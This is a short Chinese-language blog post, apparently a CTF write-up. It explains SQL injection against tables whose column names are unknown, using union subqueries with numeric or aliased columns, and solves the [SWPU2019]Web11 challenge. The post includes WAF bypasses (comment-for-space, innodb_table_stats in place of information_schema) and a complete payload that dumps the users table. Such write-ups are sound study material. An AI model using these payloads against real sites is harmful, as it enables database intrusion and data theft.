sql-未知列名的注入
参考https://www.jianshu.com/p/6eba3370cfab
未知列名查询
1.正常下我们是查询到以下情况
2.当我们结合到union的方法时
1 | select 1,2,3 union select * from users; |
3.然后我们就可以使用数字来对应列了,例如3对应表里的pass
1 | select `3` from (select 1,2,3 union select * from users)a; |
这边解释一下为什么要加a,加上a类似于
1 | select `3` from (select 1,2,3 union select * from users) as a; |
我们在查询时from后面要有一个名称,而我们上述的作用就是将()里的子查询命名为a,这样才可以查询到3的列。
4.当`被waf掉时,我们可以使用别名的方法绕过
1 | select b from (select 1,2,3 as b union select * from users) as a; |
5.查询多个列时
1 | select group_concat(`2`,0x3a,`3`) from (select 1,2,3 union select * from users)a; |
一道CTF题目
[SWPU2019]Web11
参考https://blog.csdn.net/satasun/article/details/109391116
注入点是在广告名位置上
1.注释符被过滤,使用 ‘ 直接进行闭合
2.空格被过滤,使用/**/绕过。
3.or被过滤,information使用不了,查表名可以使用select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()
。然后使用上述方法就可以得到flag。
列数为22,爆出数据库。
爆出表名
最后payload(users表的列数为3哈)
1 | 1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22' |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 红烧花园宝宝!